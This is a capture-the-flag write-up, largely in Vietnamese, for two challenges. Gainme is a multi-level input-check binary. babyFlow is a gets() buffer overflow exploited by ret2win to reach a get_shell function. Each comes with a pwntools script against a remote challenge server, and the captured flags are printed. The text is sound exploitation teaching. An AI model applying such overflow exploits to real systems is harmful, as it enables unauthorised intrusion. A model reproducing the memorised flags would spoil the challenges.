# (writeup) ICTF
## Gainme
- basic file check

- kiểm tra ida

- những hàm gần **main**
>print_flag
>lvlone
>lvltwo
>lvlthree
>lvlfour
>**main**
- chương trình sẽ kiểm tra lần lượt input của mình mỗi lần nhập, nếu đúng sẽ đi tiếp lvl kế, sai thì ngắt chương trình
>lvlone

- so sánh chuỗi nhập vào với "ICTF4"
>lvltwo

- cũng là 1 dạng so sánh chuỗi nhập vào với dữ liệu trên file
- dữ liệu đó k hiện thị trên ida64 nên sẽ tìm kiếm trong gdb thông qua hàm **cmp**(compare)

- và ta nhận được là:

``dasDASQWgjtrkodsc``
>lvlthree

- đây là nhập vào số âm -559038737 để ret về result
>lvlfour

- đây kiểm tra biến v2 nếu True(=1) thì lấy flag
- nhìn qua thì đây là pt bậc 3 1 ẩn, ẩn là v2, giải ra thì được đáp số là '1'
>print_flag

- hàm này sẽ đọc dữ liệu từ file *flag.txt*
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./Gainme', checksec=False)
#p = process(exe.path)
p = remote('143.198.219.171', 5003)
p.sendlineafter(b'0: ', b'ICTF4')
p.sendlineafter(b'1: ', b'dasDASQWgjtrkodsc')
p.sendlineafter(b'2: ', p32(-559038737,sign=True))
p.sendlineafter(b'3: ', b'1')
p.interactive()
```

>ictf{g@inm3-sf23f-4fd2150cd33db}
---
## babyFlow
- kiểm tra tổng quát

- kiểm tra ida

- những hàm gần **main**
>get_shell
>vulnerable_function
>**main**
- ở đây có thể thấy 1 lỗi BOF đến từ vị trí **gets()**, hướng đi là phương pháp ret2win


- vì là ret2win nên ta cần overwrite được **$eip**
- offset:

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./babyFlow',checksec=False)
#p = process(exe.path)
p = remote('143.198.219.171',5000)
payload = b'A'*24
payload += p32(exe.sym['get_shell'])
p.sendlineafter(b'me?\n', payload)
p.interactive()
```

>ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}